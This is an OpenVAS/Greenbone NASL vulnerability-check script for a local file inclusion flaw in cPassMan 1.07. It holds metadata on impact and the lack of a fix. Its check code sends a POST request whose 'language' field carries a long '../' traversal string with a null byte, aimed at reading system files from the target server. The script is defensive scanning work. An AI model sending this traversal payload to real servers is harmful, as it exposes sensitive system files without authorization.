Collaborative Passwords Manager (cPassMan) Multiple Local File Include Vulnerabilities

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:cpassman:cpassman";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100828");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2010-09-28 17:11:37 +0200 (Tue, 28 Sep 2010)");
  script_tag(name:"cvss_base", value:"5.1");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:H/Au:N/C:P/I:P/A:P");
  script_name("Collaborative Passwords Manager (cPassMan) Multiple Local File Include Vulnerabilities");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_dependencies("gb_passman_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("cpassman/detected");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/43466");
  script_xref(name:"URL", value:"http://code.google.com/p/cpassman/");
  script_xref(name:"URL", value:"http://cpassman.org/");

  script_tag(name:"summary", value:"cPassMan is prone to multiple local file-include
  vulnerabilities because it fails to properly sanitize user-supplied input.");

  script_tag(name:"impact", value:"An attacker can exploit these vulnerabilities to obtain
  potentially sensitive information and to execute arbitrary local scripts in the context
  of the webserver process. This may allow the attacker to compromise the application and
  the computer. Other attacks are also possible.");

  script_tag(name:"affected", value:"cPassMan 1.07 is vulnerable. Other versions may also be affected.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
  Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");
include("traversal_func.inc");

if( ! port = get_app_port( cpe:CPE ) ) exit( 0 );
if( ! dir  = get_app_location( cpe:CPE, port:port ) ) exit( 0 );
if( dir == "/" ) dir = "";
url = dir + "/index.php";

files = traversal_files();

host = http_host_name( port:port );

foreach file( keys( files ) ) {

  postdata = "language=../../../../../../../../../../../../../../../../../" + files[file] + "%00";

  req = string( "POST ", url, " HTTP/1.1\r\n",
                "Host: ", host, "\r\n",
                "Content-Type: application/x-www-form-urlencoded\r\n",
                "Content-Length: ", strlen(postdata), "\r\n",
                "\r\n",
                postdata );
  res = http_keepalive_send_recv( port:port, data:req, bodyonly:TRUE );
  if( egrep( pattern:file, string:res, icase:TRUE ) ) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );